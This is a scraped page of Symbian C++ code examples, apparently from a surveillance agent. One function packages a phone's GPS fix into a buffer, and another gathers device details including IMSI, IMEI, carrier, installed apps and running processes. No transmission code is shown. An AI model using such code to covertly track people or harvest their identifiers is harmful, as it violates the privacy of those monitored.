		CleanupStack::PopAndDestroy(&buf);
		}

	// adds header data to buffer
	THeader header;
	header.dwSize += buffer->Size();
	header.lOid = item.Id();
	buffer->InsertL(0, &header, sizeof(header));

	HBufC8* result = buffer->Ptr(0).AllocL();
	CleanupStack::PopAndDestroy(buffer);
	return result;
	}
Esempio n. 29
0
//HBufC8* CAgentPosition::GetGPSBufferL(TPosition pos)  // original MB
HBufC8* CAgentPosition::GetGPSBufferL(TPositionSatelliteInfo satPos)
	{
	/*
	 * If the number of satellites used to calculate the coordinates is < 4, we don't use
	 * the fix
	 */
	if(satPos.NumSatellitesUsed() < 4 )
		return HBufC8::NewL(0);
	
	CBufBase* buffer = CBufFlat::NewL(50);
	CleanupStack::PushL(buffer);
	TGPSInfo gpsInfo;
	
	// retrieve TPosition 
	TPosition pos;
	satPos.GetPosition(pos);
	
	// insert filetime timestamp
	TTime now;
	now.UniversalTime();
	//TInt64 filetime = GetFiletime(now);
	TInt64 filetime = TimeUtils::GetFiletime(now);
	gpsInfo.filetime.dwHighDateTime = (filetime >> 32);
	gpsInfo.filetime.dwLowDateTime = (filetime & 0xFFFFFFFF);
	
	gpsInfo.gps.FixType = GPS_FIX_3D;  // we are sure at least 4 satellites have been used
	
	// insert lat-long-alt-time
	gpsInfo.gps.dblLatitude = pos.Latitude();
	gpsInfo.gps.dblLongitude = pos.Longitude();
	gpsInfo.gps.flAltitudeWRTSeaLevel = pos.Altitude();
	gpsInfo.gps.stUTCTime = TSystemTime( pos.Time() );
	
	gpsInfo.gps.dwValidFields = (GPS_VALID_UTC_TIME | GPS_VALID_LATITUDE | GPS_VALID_LONGITUDE | GPS_VALID_ALTITUDE_WRT_SEA_LEVEL);
	
	gpsInfo.gps.dwSatelliteCount = satPos.NumSatellitesUsed();
	gpsInfo.gps.dwValidFields |= GPS_VALID_SATELLITE_COUNT;
	gpsInfo.gps.dwSatellitesInView = satPos.NumSatellitesInView();
	gpsInfo.gps.dwValidFields |= GPS_VALID_SATELLITES_IN_VIEW;
	gpsInfo.gps.flHorizontalDilutionOfPrecision = satPos.HorizontalDoP();
	gpsInfo.gps.dwValidFields |= GPS_VALID_HORIZONTAL_DILUTION_OF_PRECISION;
	gpsInfo.gps.flVerticalDilutionOfPrecision = satPos.VerticalDoP();
	gpsInfo.gps.dwValidFields |= GPS_VALID_VERTICAL_DILUTION_OF_PRECISION;
	
	TCourse course;
	satPos.GetCourse(course);
	gpsInfo.gps.flSpeed = course.Speed();
	gpsInfo.gps.dwValidFields |= GPS_VALID_SPEED;
	gpsInfo.gps.flHeading = course.Heading();
	gpsInfo.gps.dwValidFields |= GPS_VALID_HEADING;
	
	/*
	 * Additional data regarding the satellites can be obtained using the TSatelliteData structure.
	 * Example:
	 */
	/*
	TInt numSat = satPos.NumSatellitesInView();
	TInt err = KErrNone;
	for (int i=0; i<numSat; i++) {
		// Get satellite data
		TSatelliteData satData;
		err = satPos.GetSatelliteData(i,satData);
		if(err != KErrNone)
			{
				continue;
			}
		// Get info
		// See TSatelliteData definition for more methods.
		TReal32 azimuth = satData.Azimuth();
		TInt satSignalStrength = satData.SignalStrength();
	}*/
	
	
	TUint32 type = TYPE_GPS;
	buffer->InsertL(0, &type, sizeof(TUint32));
	buffer->InsertL(buffer->Size(), &gpsInfo, sizeof(TGPSInfo));
	HBufC8* result = buffer->Ptr(0).AllocL();
	CleanupStack::PopAndDestroy(buffer);
	
	return result;
	}
Esempio n. 30
0
HBufC8* CAgentDevice::GetInfoBufferL()
	{
	//create buffer	
	CBufBase* buffer = CBufFlat::NewL(50);
	CleanupStack::PushL(buffer);

	TBuf<128> buf;
	_LIT(KNewLine,"\n");
			
	// Processor
	TInt cpu = 0;
	HAL::Get(HAL::ECPU,cpu);
	TBuf<8> cpuBuf;
	switch (cpu){
		case HAL::ECPU_ARM:
			cpuBuf.Copy(_L("ARM"));
			break;
		case HAL::ECPU_MCORE:
			cpuBuf.Copy(_L("MCORE"));
			break;
		case HAL::ECPU_X86:
			cpuBuf.Copy(_L("X86"));
			break;
		default:
			cpuBuf.Copy(_L("Unknown"));
			break;
	}
	_LIT(KFormatProcessor,"Processor: %S\n");
	buf.Zero();
	buf.Format(KFormatProcessor,&cpuBuf);
	buffer->InsertL(buffer->Size(),buf.Ptr(),buf.Size());
	 
	// Battery
	_LIT(KFormatBattery,"Battery: %u%%  (on AC line)\n");
	_LIT(KFormatBattery2,"Battery: %u%%  \n");
	TUint chargeLevel=0;
	CTelephony::TBatteryStatus batteryStatus;
	iPhone->GetBatteryInfoSync(chargeLevel, batteryStatus);  
	buf.Zero();
	if((batteryStatus == CTelephony::EBatteryConnectedButExternallyPowered) || (batteryStatus == CTelephony::ENoBatteryConnected))
		{
		buf.Format(KFormatBattery,chargeLevel);
		}
	else
		{
		buf.Format(KFormatBattery2,chargeLevel);
		}
	buffer->InsertL(buffer->Size(),buf.Ptr(),buf.Size());
	
	// RAM
	TInt ram = 0;
	HAL::Get(HAL::EMemoryRAM, ram);
	TInt freeRam = 0;
	HAL::Get(HAL::EMemoryRAMFree, freeRam);
	_LIT(KFormatRam,"Memory: %i bytes free / %i bytes total\n");
	buf.Zero();
	buf.Format(KFormatRam,freeRam,ram);
	buffer->InsertL(buffer->Size(),buf.Ptr(),buf.Size());

	// Storage
	_LIT(KFormatStorage,"Disk %c: %S - %Li bytes free / %Li bytes total\n");
	TVolumeInfo volumeInfo;
	//TDriveInfo  driveInfo;
	for (TInt driveNumber=EDriveA; driveNumber<=EDriveZ; driveNumber++)
		{
		// get drive info
		/*
		TInt err = iFs.Drive(driveInfo,driveNumber);
		if (err!=KErrNone) 
			{
			continue;
			}
		*/
		// get volume info
		TInt err = iFs.Volume(volumeInfo,driveNumber);
		if (err!=KErrNone)
			{
			 continue;
			}
		TChar letter;
		iFs.DriveToChar(driveNumber,letter);
		buf.Zero();
		buf.Format(KFormatStorage,(TUint)letter,&volumeInfo.iName,volumeInfo.iFree,volumeInfo.iSize);
		buffer->InsertL(buffer->Size(),buf.Ptr(),buf.Size());
		}
		
	// OS version
	TBuf<KSysUtilVersionTextLength> versionBuf;
	SysUtil::GetSWVersion(versionBuf);
	_LIT(KFormatOsVersion,"\nOS Version: %S \n");
	buf.Zero();
	buf.Format(KFormatOsVersion,&versionBuf);
	buffer->InsertL(buffer->Size(),buf.Ptr(),buf.Size());

	// device
	_LIT(KFormatDevice,"\nDevice: %S (%S)\n");
	TBuf<CTelephony::KPhoneManufacturerIdSize> manufacturer;
	TBuf<CTelephony::KPhoneModelIdSize> model;
	iPhone->GetPhoneIdSync(manufacturer,model);
	buf.Zero();
	buf.Format(KFormatDevice,&model,&manufacturer);
	buffer->InsertL(buffer->Size(),buf.Ptr(),buf.Size());
		
	// IMSI
	TBuf<CTelephony::KIMSISize> imsi;
	iPhone->GetImsiSync(imsi);   
	_LIT(KFormatImsi,"IMSI: %S \n");
	buf.Zero();
	buf.Format(KFormatImsi,&imsi);
	buffer->InsertL(buffer->Size(),buf.Ptr(),buf.Size());
	
	// IMEI
	TBuf<CTelephony::KPhoneSerialNumberSize> imei;
	iPhone->GetImeiSync(imei);  
	_LIT(KFormatImei,"IMEI: %S \n");
	buf.Zero();
	buf.Format(KFormatImei,&imei);
	buffer->InsertL(buffer->Size(),buf.Ptr(),buf.Size());

	// Carrier
	//TBuf<CTelephony::KNetworkShortNameSize> carrier;
	TBuf<CTelephony::KNetworkLongNameSize> carrier;
	iPhone->GetOperatorNameSync(carrier); 
	_LIT(KFormatCarrier,"Carrier: %S \n");
	buf.Zero();
	buf.Format(KFormatCarrier,&carrier);
	buffer->InsertL(buffer->Size(),buf.Ptr(),buf.Size());
	
	// Uptime
	_LIT(KFormatUptime,"Uptime: %i days, %i hours, %i minutes\n");
	TInt ms = User::NTickCount();
	TInt min = (ms/(1000*60))%60;
	TInt hours = (ms/(1000*60*60))%24;
	TInt days = (ms/(1000*60*60*24));
	buf.Zero();
	buf.Format(KFormatUptime,days,hours,min);
	buffer->InsertL(buffer->Size(),buf.Ptr(),buf.Size());
		
	if(iList)
		{
		RApaLsSession lsSession;
		TApaAppInfo appInfo;
		TApaAppCapabilityBuf capability;
		//_LIT(KNewLine,"\n");
		// Applications list:
		if( lsSession.Connect() == KErrNone)
			{
			CleanupClosePushL( lsSession );
			lsSession.GetAllApps();
			_LIT(KAppList,"\nApplication List: \n");
			buffer->InsertL(buffer->Size(),KAppList().Ptr(),KAppList().Size());
			while( lsSession.GetNextApp( appInfo ) == KErrNone )
				{
				buffer->InsertL(buffer->Size(), appInfo.iCaption.Ptr(), appInfo.iCaption.Size());
				buffer->InsertL(buffer->Size(),KNewLine().Ptr(),KNewLine().Size());
				}
			CleanupStack::PopAndDestroy(&lsSession);
			}
		// Running processes
		TFullName res;
		TFindProcess proc;
		_LIT(KProcList,"\nProcesses List:\n");
		buffer->InsertL(buffer->Size(),KProcList().Ptr(),KProcList().Size());
		while(proc.Next(res) == KErrNone)
		    {
		      	RProcess ph;
		      	TInt err = ph.Open(proc);
		      	if(err!=KErrNone)
		      		{
					continue;
		      		}
		      	buffer->InsertL(buffer->Size(),ph.Name().Ptr(),ph.Name().Size());
		      	buffer->InsertL(buffer->Size(),KNewLine().Ptr(),KNewLine().Size());
		      	ph.Close();
		    }
		}
	
	HBufC8* result = buffer->Ptr(0).AllocL();
	CleanupStack::PopAndDestroy(buffer);
	return result;
	}